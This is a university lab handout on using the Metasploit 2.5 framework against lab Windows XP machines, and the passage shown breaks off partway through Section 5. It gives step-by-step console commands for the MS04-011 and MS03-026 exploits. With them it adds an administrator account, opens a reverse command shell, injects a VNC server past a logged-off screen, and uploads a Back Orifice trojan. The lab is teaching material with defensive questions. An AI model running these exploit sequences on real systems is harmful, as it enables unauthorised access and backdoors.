ECE 4112 Internetwork Security
Lab XX: Exploit Frameworks Using Metasploit
Group Number: _______________
Member Names: _________________________
_________________________
Date Assigned: TBD
Date Due: TBD
Last Edited: 12/14/2005
Lab Authored By: Thomas Litchfield, Vineet Chhangani
Please read the entire lab and any extra materials carefully before starting. Be sure to
start early enough so that you will have time to complete the lab. Answer ALL questions
and be sure you turn in ALL materials listed in the Turn-in Checklist ON or BEFORE
the Date Due.
Goal:
The goal of this lab is to learn how to install and use the Metasploit
Framework in a Linux and Windows environment and show how the exploit framework
can be used to identify and take advantage of vulnerabilities in both operating systems.
While the lab will include exercises that show how to exploit vulnerabilities, the students
should also be focused on what defensive steps can be taken as a system administrator to
prevent someone else from performing these attacks on a production system.
Summary:
This lab will consist of six sections. Section 1 will consist of setting
up the environment and installing the Metasploit software. Sections 2 through 4 will use
the Red Hat Linux WS 4.0 host machine as the attacker and the Windows XP virtual
machine as the target. Section 5 will use one Windows XP virtual machine to attack
another Windows XP virtual machine. The setup of the virtual machines and the
terminology used to distinguish between the two Windows XP virtual machines will be
explained later. The six section topics will consist of:
Section 1: Setting up the Metasploit Framework software
Section 2: Remotely add an administrator user to Windows XP
Section 3: Gain administrator access to a remote Windows XP command shell
Section 4: Use DLL injection to open up a remote VNC connection
Section 5: Remotely install and run a rootkit on Windows
Section 6: Setting up and using the Metasploit Framework Web Interface
Background and Theory:
Exploit Frameworks were first created as
a development tool to be used by network and system administrators for the purpose of
penetration testing. Penetration testing can be a very complicated and difficult
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undertaking since there are many different ways a network, and a computer system on a
network, can be compromised. To help automate this type of testing, developers came up
with the concept of exploit frameworks. The exploit frameworks would take a collection
of known vulnerabilities for a particular system and script a set of attacks that an
administrator would likely see in a real world setting. As more vulnerabilities were
discovered, they were added to the frameworks to keep them current. Exploit
frameworks are still a very important part of penetration testing in current network
environments and several companies sell very expensive and very advanced framework
products. For this lab we will be experimenting with the functionality of a very popular
open source framework called Metasploit (www.metasploit.com).
Within the development of creating frameworks the task of automating exploits can be
broken down into two parts – Exploit Frameworks and Shellcode Generators. Exploit
Frameworks can be defined as a collection of reusable tools and scripts that automate the
task of exploiting known vulnerabilities in applications and operating systems. What this
means is that an exploit framework is a set of pre-defined scripts that make the process of
exploiting a vulnerability very simple and automatic. All of the pre-defined scripts are
contained within the install package so there is no need to install extra software or to
modify the scripts to successfully run the exploits. Instead of modifying the scripts, you
set switches and parameters within the program. One of the main settings you configure
in the software is the Payload. The payload is the actual code that is executed on the
target system once the exploit opens up communication with the target. It is this
combination of exploits and payloads that is the basis for how frameworks operate.
As previously mentioned, the other part of automating exploits is the shellcode generator.
A shellcode generator is defined as a program or a set of scripts that converts standard
code into a “shellcode” that can be used by exploit frameworks. The payload section of
the exploit is essentially a script or a set of instructions that are written in shellcode.
Since many programmers do not know how to program in shellcode, there are shellcode
generators available on the Internet. A shellcode generator takes a script written in a
standard language, usually C, and converts it into shellcode which can be used in the
exploit framework as a payload.
Programming your own shellcode can be a tedious task and is beyond the scope of this
class, therefore this lab will not be concentrated on the actual generation of payloads but
rather we will use payloads that come with the framework. Part of the goal of the lab is
to show a system administrator what type of threats are available via a exploit framework
and to show how easy it is to take advantage of a system with very little knowledge of
vulnerabilities. With this goal in mind we will use existing exploits and payloads that are
already contained in the install package.
For more examples of popular exploit frameworks, look at these software packages and
websites:
MOSDEF (http://www.immunitysec.com/downloads/MOSDEF0.6.tgz)
The ImmunitySec website has a good documentation page that contains many good links
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to papers and presentations on the subject of exploits and frameworks. Take some time
to look at this webpage and read some of the resources available. The webpage is located
at: http://www.immunitysec.com/resources-papers.shtml
ADMmutate (http://www.ktwo.ca/ADMmutate-0.8.1.tar.gz)
More information about ADMmutate and other exploits can be found at:
http://www.ktwo.ca/security.html
Metasploit (http://www.metasploit.com/projects/Framework/downloads.html)
Metasploit is the framework that we will use in this lab. You will become very familiar
with this tool by performing the lab exercises, however you are encouraged to familiarize
yourself with the tool as much as possible before the lab. A good resource to read prior
to performing these exercises is a three part article on Metasploit written by Security
Focus. You can read the article online at:
http://www.securityfocus.com/infocus/1789
Another good article that covers the topic of using Metasploit for penetration testing is
“Metasploit for the Penetration Tester”, found online at:
http://www.giac.org/certified_professionals/practicals/gsec/4363.php
Finally, you can read the Metasploit Users Guide online at:
(http://www.metasploit.com/projects/Framework/docs/userguide/index.html)
Prelab Questions:
None.
Lab Scenario:
This lab requires the use of four machines. The main machine
that we will use as the “attacker” machine for most of the labs will be your Red Hat WS
4.0 host machine. This machine will always be referenced in the sections as “Red Hat
WS 4.0 host machine”. We will also use the Windows XP virtual machine that you have
already created in a previous lab. This Windows XP virtual machine will be the “target”
machine in most of the labs and will always be referenced in the sections as “Original
Windows XP virtual machine”. Section 5 of this lab will require you to have a second
Windows XP virtual machine running on your host system. If you haven’t already created
a second Windows XP virtual machine in one of the previous labs, you will have the
opportunity to create one in Section 5. Do not worry about doing that at this time. This
secondary Windows XP virtual machine will always be referenced in the sections as
“Windows XP Copy virtual machine”.
The version of Metasploit that we will use on Linux and Windows XP will be 2.5 (the
latest version at the time of this writing) and the install packages can be found on the
NAS in the /mnt/nas4112/LabXX/ folder.
On the below diagram, please take a moment to identify the IP addresses for your Red
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Hat WS 4.0 host machine, your Original Windows XP Pro virtual machine, and your
Windows XP Pro Copy virtual machine. If you do not yet have a virtual machine copy
then identify what IP address you will use once you have created it. Write down all of
the IP addresses in the spaces provided. This will help you keep track of what IP address
belongs to what machine when we start using multiple machines in the lab.
Section 1: Installing Metasploit Framework 2.5
In this section you will set up the Metasploit Framework package on your Red Hat WS
4.0 host machine. In order to get the files needed for installation you will first need to
mount the network attached storage (NAS). The Metasploit framework installation
package can also be downloaded at:
http://www.metasploit.com/projects/Framework/downloads.html
# mount /mnt/nas4112
After you enter the NAS password and mount the drive you need to change the directory
to this labs folder and copy the files back to your host machine. To do so, enter the
following commands:
# cd /mnt/nas4112/labxx/
# cp framework-2.5.tar.gz /root/
To uncompress the files after you copy them to your home folder:
# tar xvfz framework-2.5.tar.gz
This creates a directory in /root/ called “framework-2.5”. This will be the home folder
for Metasploit and contains all of the files used to run the framework. There is nothing
more we need to do for the install. Within this folder, the main file that we will be using
for most sections of this lab is called “msfconsole”.
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Section 2: Remotely Add a User to Windows XP
In this section we will use the Metasploit framework to run an exploit against our
Original Windows XP virtual machine to remotely add an administrator user to Windows
XP. This exploit will take advantage of a vulnerable Windows service known as LSA
and will run through port 139 which is a commonly open Windows port.
For more information on the LSA framework and its vulnerabilities, please read
Appendix A.
The username and password will be of our choosing and the resulting user will have
administrator privileges. As this section will show, the attacker will not need any special
access to the target machine other than being on the same network.
Exercise 2.1 – Preliminary Information
Before we actually run the exploit we need to go to our Original Windows XP virtual
machine and take note of some settings. On the Original Windows XP virtual machine
go to the Control Panel and click on the User Accounts icon. At its default state, you
should see two accounts already on the system – user1 and guest. User1 should be an
administrator and the guest user should be turned off or disabled. Note that there are no
other usernames on this system.
Close all open windows and leave the Original Windows XP virtual machine running.
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Exercise 2.2 – Learning the Basics of Metasploit
Switch back over to your Red Hat WS 4.0 host machine and open up a terminal window.
In the terminal window change the directory to your Metasploit framework install
directory. The command for this is:
# cd /root/framework-2.5
In this directory, start up the Metasploit framework by typing:
# ./msfconsole
The Metasploit 2.5 framework console should start up and present you with a msf >
prompt. Your terminal window should look something like this:
(NOTE: Metasploit uses different ‘splash’ screens at startup and chooses the ‘splash’
screen randomly, therefore your terminal may look slightly different than the one
pictured here.)
Once you are at the msf > prompt, you can type a ? and hit enter to see all of the available
commands. It is also important to note that if you ever type a command that Metasploit
does not recognize the program will automatically pass the command to the operating
system and try to execute it there. This can be very helpful if you need to run a Red Hat
OS command, you can do it within Metasploit and the command will run in the OS.
There is no need to open another terminal window or to exit out of Metasploit to run OS
commands.
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Take a minute now to explore how the Metasploit console works.
At the msf > prompt, type a ? and hit enter.
msf > ?
Briefly familiarize yourself with these commands, we will be using some of them later in
the lab. Also, at this point, type in one or two Red Hat OS commands and take note as to
how the framework passes the commands to the OS and returns the results back into the
program.
msf > ifconfig
msf > whoami
msf > ls /
Now that you are familiar with running the Metasploit console and have practiced with a
couple of commands, it is time to run our first exploit that will add an administrator user
to our Original Windows XP virtual machine.
Exercise 2.3 – Running the Exploit in Metasploit
The first step is to select an exploit that we want to use. To see all of the available
exploits we use the command “show exploits”.
msf > show exploits
You will see a fairly comprehensive list of exploits fill up the screen. Within this list, the
left column contains all of the exploit names and the right column shows a brief
description of what the exploit is. Since our target machine in this section is a Windows
XP machine we will be looking for an exploit that takes advantage of a Windows related
vulnerability. For this example we will be using the lsass_ms04_011 exploit. To select
this exploit type the following command
msf > use lsass_ms04_011
Notice that when you type in this command, the prompt changes from msf > to
msf lsass_ms04_011 >
Now that we have selected an exploit we need to set some other options before we can
actually run the exploit. To see a list of what parameters can be set, type the following
command at the prompt
msf lsass_ms04_011 > show
This command reveals that the parameters we can choose are 'targets', 'payloads',
'options', or 'advanced'. The first parameter we will set will be the payloads option. The
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payload is the part of the exploit that is actually passed to the target machine. In the case
of our example we are exploiting the LSA framework within Windows and our goal is to
remotely add an administrator user to the machine. The payload that we choose will be
the code that actually performs the operation of adding the administrator user. To see a
list of available payloads for the chosen exploit run this command at the prompt:
msf lsass_ms04_011 > show payloads
For this section we want to add a user to XP, so we will choose the first payload –
win32_adduser. To select this type:
msf lsass_ms04_011 > set PAYLOAD win32_adduser
(make sure that PAYLOAD is in all caps)
Notice that when you select the payload, the msf prompt changes again to reflect the
name of the payload that is being used.
The next parameter we need to set is the target. The target option specifies what type of
system we are running the exploit against. Our remote system is Windows XP. To view
the settings for target, type:
msf lsass_ms04_011(win32_adduser) > show targets
To select Windows XP as our target, enter the following command:
msf lsass_ms04_011(win32_adduser) > set TARGET 2
(make sure that TARGET is in all caps)
The final settings that we need to configure are some options that are specific to this
exploit and payload. These options can be viewed by typing the command:
msf lsass_ms04_011(win32_adduser) > show options
Within this list of options you will see the option name and whether or not it is required
by the exploit. You will also see a default value for the options if there is one available.
We need to set a value for every option that is defined as required and does not have a
default value. For this exploit we will need to set RHOST, USER, and PASS. The first
parameter, RHOST, is the IP address of the remote system that we are attacking. To set
this value, type:
msf lsass_ms04_011(win32_adduser) > set RHOST 57.35.6.xxx
Where ‘xxx’ is the fourth octet of the IP address of your Original
Windows XP virtual machine.
(make sure that RHOST is in all caps)
The next required value that we need to set is USER. USER is the username that we are
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going to add to our Windows XP virtual machine.
msf lsass_ms04_011(win32_adduser) > set USER metasploit
Where ‘metasploit’ is the name of the user you wish to add. You can
substitute any username in place of ‘metasploit’ just stay away from
default Windows usernames like admin or guest, etc.
(make sure that USER is in all caps)
The final required value that we need to set is PASS. PASS is the password that will be
associated with our newly created username.
msf lsass_ms04_011(win32_adduser) > set PASS ece4112
Where ‘ece4112’ is the password.
like in place of ‘ece4112’.
You can substitute any password you
(Make sure that PASS is in all caps)
Now, all of the required options are configured for this exploit and payload. The exploit
is ready to be executed, but before we run it, it is important to double check all of the
settings first. All of the options that we set and all of the values that we assigned can be
viewed with the command ‘set’. At the prompt type:
msf lsass_ms04_011(win32_adduser) > set
The output should look something like this:
msf lsass_ms04_011(win32_adduser) > set
PASS: ece4112
PAYLOAD: win32_adduser
RHOST: 57.35.6.193
TARGET: 2
USER: metasploit
Double check the settings. If everything looks correct, execute the exploit with the
command ‘exploit’.
msf lsass_ms04_011(win32_adduser) > exploit
If everything was set correctly, the output on the screen should look like this:
[*] Windows XP may require two attempts
[*] Sending 32 DCE request fragments...
[*] Sending the final DCE fragment
Now switch over to your Windows XP virtual machine and go back to the Control Panel
and click on “User Accounts”. If the exploit ran correctly you should see a new
username in the list that is the name of the user you created in the USER option earlier.
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*** NOTE ***
Due to the LSA framework in Windows, the first exploit attempt may not work. If
you do not see your username in the “User Accounts” window in your Original
Windows XP virtual machine Control Panel, just go back to your Red Hat WS 4.0
host machine terminal window and run the exploit command again and then check
Windows again.
Screenshot 1: Attach to your answer sheet a screen shot of your User Accounts window
showing your new username.
Test your new username by logging off of Windows.
Start → Log Off → Log Off
At the Windows XP Welcome screen, click the icon next to your new username and enter
the password that you specified in Metasploit with the PASS option.
Once you are logged into Windows, browse around the OS and test your new account.
Q2.1: What level of access does your new user have in Windows?
Q2.2: How can a system administrator detect this kind of attack?
Q2.3: What can a system administrator do to prevent this type of attack?
Before you move on to the next section, take a minute to log off of your Windows XP
virtual machine and log back on as “User1”. As User1, go back to your Control Panel
and click on User Accounts. Select the username that you just created and delete it. We
do not want the presence of this username to interfere with later sections in this lab.
Section 3: Gain Remote Access to a Windows XP
Command Line Shell
In this section we will use the Metasploit framework to attack our Original Windows XP
virtual machine by opening up a command line shell remotely from our Red Hat WS 4.0
host machine. From the remote command line, we will be able to issue any valid
Windows command and it will execute on the remote system the same way as it would if
we were logged on locally.
The exploit that we will use for this section takes advantage of the Microsoft Remote
Procedure Call (RPC) DCOM vulnerability. For more information on RPC and DCOM
please read Appendix B.
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To begin this section, close all open windows on your Original Windows virtual machine
that might still be open from Section 2, and leave the Windows XP virtual machine
running.
Exercise 3.1 – Running the Exploit in Metasploit
Now switch back over to your Red Hat WS 4.0 host machine and open up a terminal
window. In the terminal window change the directory to your Metasploit framework
install directory. If your Metasploit console is still open from the previous lab, please
close that window and open up a new one. The command for this is:
# cd /root/framework-2.5
In this directory, start up the Metasploit framework by typing:
# ./msfconsole
You should be at the familiar Metasploit prompt that we saw in Section 2. To see the list
of available exploits type:
msf > show exploits
Since our target machine in this section is a Windows XP machine we will be looking for
an exploit that takes advantage of a Windows related vulnerability. However for the sake
of learning something new we will use something different from the LSA exploit used in
Section 2. For this example we will be using the msrpc_dcom_ms03_026 exploit. To
select this exploit type the following command
msf > use msrpc_dcom_ms03_026
For more information about the Windows DCOM module and RPC and how they can be
exploited, please read Appendix B.
Notice that when you type in this command, the prompt changes from msf > to
msf msrpc_dcom_ms03_026 >
Now that we have selected the exploit that we will use, we need to set some options that
are specific to this exploit like we did in Section 2 with the LSA exploit. To see a list of
what parameters can be set, type the following command at the prompt
msf msrpc_dcom_ms03_026 > show
The first parameter we need to set is PAYLOAD. To see a list of payloads that can be
used with this exploit, type:
msf msrpc_dcom_ms03_026 > show payloads
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The goal of this section is to gain remote access to a Windows XP command line shell, so
we will choose the Windows Reverse Shell payload. To do this, enter the command:
msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse
(make sure that PAYLOAD is in all caps)
Notice that when you select the payload, the msf prompt changes again to reflect the
payload name that is being used.
The next parameter that we need to set is the TARGET. To see a list of targets that can
be used with this exploit, type:
msf msrpc_dcom_ms03_026(win32_reverse) > show targets
For this exploit, there is only one target that covers all versions of Windows. To set this
parameter enter the command:
msf msrpc_dcom_ms03_026(win32_reverse) > set TARGET 0
(make sure that TARGET is in all caps)
Finally we need to set some options that are specific to this exploit and payload
combination. To see these options type:
msf msrpc_dcom_ms03_026(win32_reverse) > show options
Just like in the previous section, any value that is listed as required and does not have a
default value associate with it needs to be set. In this case we need to set RHOST and
LHOST. RHOST is the IP address of our Original Windows XP virtual machine and
LHOST is the IP address of the Red Hat WS 4.0 host machine that we are running
Metasploit from. Metasploit needs the LHOST information so it knows where to send
the remote Windows shell to. To set these values enter the following commands:
msf msrpc_dcom_ms03_026(win32_reverse) > set RHOST 57.35.6.xxx
Where ‘xxx’ is the fourth octet of the IP address of your Original
Windows XP virtual machine.
(make sure that RHOST is in all caps)
msf msrpc_dcom_ms03_026(win32_reverse) > set LHOST 57.35.6.xxx
Where ‘xxx’ is the fourth octet of the IP address of your Red Hat WS
4.0 host machine.
(make sure that LHOST is in all caps)
Now, all of the required options are configured for this exploit and payload. The exploit
is ready to be executed, but before we run it, it is important to double check all of the
settings first. All of the options that we set and all of the values that we assigned can be
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viewed with the command ‘set’. At the prompt type:
msf msrpc_dcom_ms03_026(win32_reverse) > set
The output should look something like this:
msf msrpc_dcom_ms03_026(win32_reverse) > set
LHOST: 57.35.6.191
PAYLOAD: win32_reverse
RHOST: 57.35.6.193
TARGET: 0
Double check the settings. If everything looks correct, execute the exploit with the
command ‘exploit’.
msf msrpc_dcom_ms03_026(win32_reverse) > exploit
If everything was set correctly, the output on the screen should look like this:
[*] Starting Reverse Handler.
[*] Splitting RPC request into 7 packets
[*] Got connection from 57.35.6.191:4321 <-> 57.35.6.195:3045
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
This is your remote Windows XP command shell. Any commands that you type in this
window will be executed remotely on your Original Windows XP virtual machine. Take
some time to type some Windows commands and view their output.
Q3.1: What level of access do you have at the remote Windows command shell?
Q3.2: Are there any indications on the virtual machine console that anything has
happened?
Q3.3: What are some examples of commands that you could use at this prompt to further
exploit this system?
Q3.4: What can a system administrator do to prevent this type of attack?
Screenshot 2: Attach to your answer sheet a screen shot of your remote Windows
command shell showing the output of running the ipconfig command.
(The screen shot should show the Windows XP banner and command prompt within a
Red Hat terminal window and show the XP network information.)
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Section 4: VNC Server DLL Injection
In this section we will use the Metasploit framework to run an exploit against our
Original Windows XP virtual machine to remotely execute the VNC server program and
connect to a VNC client shell from our Linux WS 4.0 host machine. What is interesting
about this section is that the target (Original Windows XP virtual machine) will not have
VNC installed on it. The exploit will work by taking a VNC dll file and copying it over
to our Original Windows XP virtual machine and inject it into memory as a running
process. This will enable us to connect to the machine through a standard VNC client
and gain remote console access to a Windows XP operating system even when the VNC
software is not installed.
Much like the Windows XP add user exploit we did in Section 2, this exploit will take
advantage of the Windows LSA framework vulnerability. As you will see in the
exercise, the VNC server we inject will be ready to take connections and will be
configured without a default password. We will also examine scenarios where the remote
user might be logged out of the console or have the screen locked.
Exercise 4.1 – Preliminary Information
Before we actually run the exploit we need to go to our Original Windows XP virtual
machine and take note of some settings. On the Original Windows XP virtual machine
go to the Control Panel and click on the Add or Remove Programs icon. Take note of
what applications are installed on your virtual machine. Notice that no VNC software is
currently installed. If there is an instance of VNC server that was installed in a previous
lab, remove it. Once this is confirmed, close all open windows in XP and leave the
virtual machine running.
Exercise 4.2 – Install VNC Viewer on host machine
Switch back over to your Red Hat WS 4.0 host machine. In order for this exploit to work
properly, we need to have the VNC viewer client software installed on our host machine.
This is necessary because when the exploit is run, Metasploit will automatically spawn
the VNC client and automatically connect it to the VNC instance running on the Original
Windows XP virtual machine. To install the VNC viewer we will need to copy the install
package from the network attached storage (NAS). You can also download the install
package from the following website: http://www.tightvnc.com/download.html
To obtain the install package from the NAS follow these commands:
# cd /mnt/nas4112/labxx/
# cp tightvnc-1.2.9-1.i386.rpm /root/
# cd /root/
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# rpm -Uvh tightvnc-1.2.9-1.i386.rpm
Exercise 4.3 – Running Metasploit
Now we are ready to run Metasploit and configure our options for this exploit. Go to
your Metasploit home directory and start the framework up.
# cd /root/framework-2.5
In this directory, start up the Metasploit framework by typing:
# ./msfconsole
You should be at the familiar Metasploit prompt that we saw in Sections 2 and 3. To see
the list of available exploits type:
msf > show exploits
Since our target machine in this section is a Windows XP machine we will be looking for
an exploit that takes advantage of a Windows related vulnerability. The LSA framework
that we exploited in Section 2 worked well and didn’t require any special software to be
installed on Windows XP, so we will use that exploit again for this section. To select this
exploit run this command:
msf > use lsass_ms04_011
Just like in the previous two sections, there are several parameters that need to be set that
are specific to this exploit. To see what parameters are available, type:
msf lsass_ms04_011 > show
This command reveals that the parameters we can choose are 'targets', 'payloads',
'options', or 'advanced'. The first parameter we will set will be PAYLOAD. In the case
of our example we are exploiting the LSA framework within Windows and our goal is to
remotely inject the Windows XP virtual machine with the VNC dll. To see a list of
available payloads for the chosen exploit run this command at the prompt:
msf lsass_ms04_011 > show payloads
For this section we will choose the last payload – win32_reverse_vncinject. To select
this type:
msf lsass_ms04_011 > set PAYLOAD win32_reverse_vncinject
(make sure that PAYLOAD is in all caps)
Notice that when you select the payload, the msf prompt changes again to reflect the
payload name that is being used.
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The next parameter we need to set is the target. The target option specifies what type of
system we are running the exploit on. Our remote system is Windows XP. To view the
settings for target, type:
msf lsass_ms04_011(win32_reverse_vncinject) > show targets
To select Windows XP as our target, enter the following command:
msf lsass_ms04_011(win32_reverse_vncinject) > set TARGET 2
(make sure that TARGET is in all caps)
The final settings that we need to configure are some options that are specific to this
exploit and payload. These options can be viewed by typing the command:
msf lsass_ms04_011(win32_reverse_vncinject) > show options
Just like with previous sections, we will need to set a value for every option that is
defined as required and does not have a default value. For this exploit we will only need
to set RHOST and LHOST. RHOST is the IP address of the remote system that we are
attacking. To set this value, type:
msf lsass_ms04_011(win32_reverse_vncinject) > set RHOST 57.35.6.xxx
Where ‘xxx’ is the fourth octet of the IP address of your Original
Windows XP virtual machine.
(make sure that RHOST is in all caps)
The other required value that we need to set is LHOST. LHOST is the IP address of the
attacking machine, which in this case is our Red Hat WS 4.0 host machine.
msf lsass_ms04_011(win32_reverse_vncinject) > set LHOST 57.35.6.xxx
Where ‘xxx’ is the fourth octet of the IP address of your Red Hat WS
4.0 host machine.
(make sure that LHOST is in all caps)
Now, all of the required options are configured for this exploit and payload. The exploit
is ready to be executed, but before we run it, it is important to double check all of the
settings first. All of the options that we set and all of the values that we assigned can be
viewed with the command ‘set’. At the prompt type:
msf lsass_ms04_011(win32_reverse_vncinject) > set
The output should look something like this:
msf lsass_ms04_011(win32_reverse_vncinject) > set
LHOST: 57.35.6.191
16
PAYLOAD: win32_reverse_vncinject
RHOST: 57.35.6.193
TARGET: 2
Double check the settings. If everything looks correct, execute the exploit with the
command ‘exploit’.
msf lsass_ms04_011(win32_reverse_vncinject) > exploit
If everything was set correctly, the TightVNC client viewer should automatically launch
and connect to your Windows XP virtual machine.
***NOTE***
Since we are using the LSA exploit again for this section, the payload may not
execute on the first attempt due to the nature of LSA and this exploit. If the Tight
VNC viewer does not automatically execute and connect, just run the exploit
command again in Metasploit.
Once you are connected, you will have to move your mouse around a little to trigger the
screen to refresh. During the VNC session, if the screen ever seems to freeze or not
update itself, just move your mouse around. VNC is configured to refresh the screen
under the mouse pointer. This is done to reduce bandwidth associated with keeping the
whole screen refreshed all of the time.
Screenshot 3: Attach to your answer sheet a screen shot of the Tight VNC client viewer
within Linux showing the Original Windows XP virtual machine in the background and
the Metasploit Courtesy Shell window.
In the Metasploit Courtesy Shell, type some commands and take notice of what actions
you can take. In addition, take a look at the Start Menu, the Task Manager, and the Add
or Remove Programs window and look for any traces of VNC or any indication that VNC
is installed or running.
Q4.1: What indications are there on the virtual machine console that anything has
happened, or that VNC was installed?
Q4.2: What can a system administrator do to prevent this type of attack?
Now close the Tight VNC client window in Linux and hit enter in the msfconsole
terminal window to break the connection.
In the remainder of this section we will further examine the VNC server dll injection and
perform another example to show the power of this exploit.
Exercise 4.4 – Using VNC on a Logged Off System
17
One of the problems with the Windows version of VNC server is that it only enables you
to connect to the current session of the machine you are connecting to. This is fine if you
can connect to a machine where there is a user logged in with administrator privileges.
However, if you connect to a Windows machine and the user has logged off or locked the
screen, you will not be able to do anything unless you have a password or unless you
have previously run the Add User exploit and have a valid username and password. (For
this part of the lab we will assume that you do not have a password and have not executed
the Add User exploit previously).
In this part of the section, we are going to recreate one of these scenarios. To do this, go
back to your Windows XP virtual machine and log out.
Start Menu → Log Off → Log Off
Leave the Windows XP virtual machine at the welcome screen.
A traditional VNC client would connect to this Windows machine and the client program
would only display the welcome screen. Without a user account on the system, the
attacker would not be able to do anything. However the Metasploit VNC dll inject
exploit has a solution to this problem. To see how this works, leave your Windows XP
virtual machine at the welcome screen and switch back over to your Red Hat WS 4.0 host
machine and go to the Metasploit framework console window.
Now run the VNC reverse dll inject exploit again by entering the exploit command.
msf lsass_ms04_011(win32_reverse_vncinject) > exploit
If everything was set correctly, the TightVNC client viewer should automatically launch
and connect to your Windows XP virtual machine.
***NOTE***
Just like in the past with the LSA exploit, you may have to enter the exploit
command twice if it does not connect on the first attempt.
Once you are connected, move your mouse around a little to refresh the screen. Take
note of what has happened this time you connected to the Windows XP virtual machine.
Q4.3: What is different about the VNC session this time?
Q4.4: What makes this type of exploit very dangerous to a system administrator?
Screenshot 4: Attach to your answer sheet a screen shot of the Tight VNC client viewer
within Linux showing the Windows XP virtual machine welcome screen and the
Metasploit Courtesy Shell window on top of it.
18
Section 5: Remotely Install and Execute a Rootkit
on Windows
In this section we will use a couple of different technologies in conjunction with one
another to create a rootkit file, copy it over to our target machine and execute it. Once
executed we will connect to the rootkit and run some exploits. The host machine for this
section will be the original Windows XP virtual machine that was created in Lab 1. The
target machine will be the Windows XP Copy virtual machine. If you have not yet
created a copy virtual machine, do that now by following the instructions in
Appendix C of this lab. Throughout this section we will refer to the Windows attacker
machine as the “original” Windows XP virtual machine and we will refer to the Windows
target machine as the “copy” Windows XP virtual machine.
To create the rootkit file that we will remotely install on the target machine we will be
using the popular Back Orifice program. Once the rootkit file is created we will use
Metasploit to connect to the target machine and run our exploit. This is a Windows to
Windows exploit due to the nature of Back Orifice. However, this same technique could
be used to infect a remote system with a virus, or any other rootkit or trojan program that
is compatible with Linux or Windows.
Exercise 5.1 – Installing Metasploit on Windows XP
To begin this lab, first go to your original Windows XP virtual machine where we will
install the Metasploit framework Windows program. First connect to the NAS from the
run prompt and browse to the Labxx folder. In this folder, copy the file “framework2.5.exe” file to your Windows XP desktop and follow these steps:
(Note – the Windows version of Metasploit can be downloaded at:
http://www.metasploit.com/projects/Framework/downloads.html)
Double click on the file “framework-2.5.exe”
Click Next on the first screen
Click on I Agree on the license agreement
Do not change the destination folder and click Next
Finally click Install
Wait for it to finish copying files
When it is done, it will automatically launch msfconsole
Close the msfconsole window (we will launch it later when we need it)
Clck Finish on the install window
Exercise 5.2 – Installing Back Orifice on Windows XP
Now that Metasploit is installed and ready to use, we will need to install and configure
Back Orifice. To do this, go back to the NAS server and open up the Labxx folder. In
19
this folder, copy the file “bo2k_1_0_full.exe” to your Desktop. Back Orifice can also be
downloaded from:
http://www.bo2k.com/software/index.html
To install the software follow these steps:
Double click on the file “bo2k_1_0_full.exe”
Click Next on the welcome screen
Click Next on the installation folder screen
The Install Shield program will start
Click Next on the welcome screen
Click Yes on the GPL license screen
Click Next on the Location screen
Choose Typical for type
Click Next on the program folder screen
Finally click Next to start copying files
When the files have been copied, click Finish
Exercise 5.3 – Creating a Trojan File with Back Orifice on Windows XP
Now that Back Orifice is installed, we will need to use the program to create the rootkit
file that we will use in our exploit on our Windows XP Copy virtual machine. To do this,
first start up Back Orifice by going to:
Start → All Programs → Bo2k
Run the program called Bo2k Configuration Tool
Once the Bo2k Configuration Tool starts, follow these steps to create the rootkit file:
Click Next on Step 1
Click Next on Step 2
Choose TCP networking on Step 3
Pick any high port (> 1024) on Step 4 (eg. – port 3333)
Click Next on Step 5
Choose any password on Step 6 (eg. – ece4112)
Click Finish
Close the Bo2k Server Configuration window
At this point in the lab we have created a trojan rootkit program called bo2k.exe. This
process has been very typical so far in that all we have done is use Back Orifice to create
this file. The challenge with any trojan or rootkit program is not in the creation of the
file, but in the process of getting the rootkit on the target machine, and more importantly
running. This is where Metasploit comes in and we can use the framework to transfer our
bo2k.exe file to our Windows XP Copy virtual machine.
20
Exercise 5.4 – Setting up the Environment
Before we can run Metasploit though, we need to put the rootkit file in a place where
Metasploit can find it. To do this, follow these steps:
Go to your Start Menu and open up Windows Explorer
Browse to C:\Program Files\Cult Of The Dead Cow\Back Orifice 2000
Right click on the file bo2k.exe and choose Copy
Browse to C:\Program Files\Metasploit Framework\home
Right click and choose Paste
Close Windows Explorer and close any open programs or windows on your original
Windows XP virtual machine and your Windows XP Copy virtual machine.
Exercise 5.5 – Running the Exploit in Metasploit
Now everything is set up correctly on our attacker virtual machine and it is time to run
Metasploit.
Start the Metasploit Framework Console by going to:
Start → All Programs → Metasploit Framework
Click on msfconsole
Metasploit should open in a DOS command window. Everything in the Windows version
of Metasploit is just like its Linux counterpart that we are familiar with. The commands
and procedures will be very similar to those that we have used in previous sections.
Just like in previous sections, we will need to first choose an exploit that we will use to
install our rootkit on our Windows XP Copy virtual machine. Just like in Linux, to see a
list of available exploits, use the show exploits command:
msf > show exploits
In Section 3, we had good luck using the DCOM vulnerability in Windows, therefore we
will use that same exploit again for this section. To select the msrpc_dcom_ms03_026
exploit type the following command:
msf > use msrpc_dcom_ms03_026
Notice that when you type in this command, the prompt changes from msf > to
msf msrpc_dcom_ms03_026 >
Now that we have selected the exploit that we will use, we need to set some options that
are specific to this exploit like we did in all of the previous exploits. To see a list of what
parameters can be set, type the following command at the prompt
21
msf msrpc_dcom_ms03_026 > show
The first parameter we need to set is PAYLOAD. To see a list of payloads that can be
used with this exploit, type:
msf msrpc_dcom_ms03_026 > show payloads
For this section our goal is to copy our bo2k.exe file over to our Windows XP Copy
virtual machine and execute it into memory. From the list of payloads that we have
available for this exploit, the one that we will use is win32_reverse_stg_upexec. To
select this payload use the following command:
msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse_stg_upexec
(make sure that PAYLOAD is in all caps)
Notice that when you select the payload, the msf prompt changes again to reflect the
payload name that is being used.
The next parameter that we need to set is the TARGET. To see a list of targets that can
be used with this exploit, type:
msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > show targets
For this exploit, there is only one target that covers all versions of Windows. To set this
parameter enter the command:
msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > set TARGET 0
(make sure that TARGET is in all caps)
Finally we need to set some options that are specific to this exploit and payload
combination. To see these options type:
msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > show options
Just like in the previous sections, any value that is listed as required and does not have a
default value associate with it needs to be set. In this case we need to set RHOST,
LHOST, and PEXEC. RHOST is the IP address of our Windows XP Copy virtual
machine, LHOST is the IP address of our original Windows XP virtual machine that we
are running Metasploit from, and PEXEC is the patch of the file that we will upload and
execute. To set these values enter the following commands:
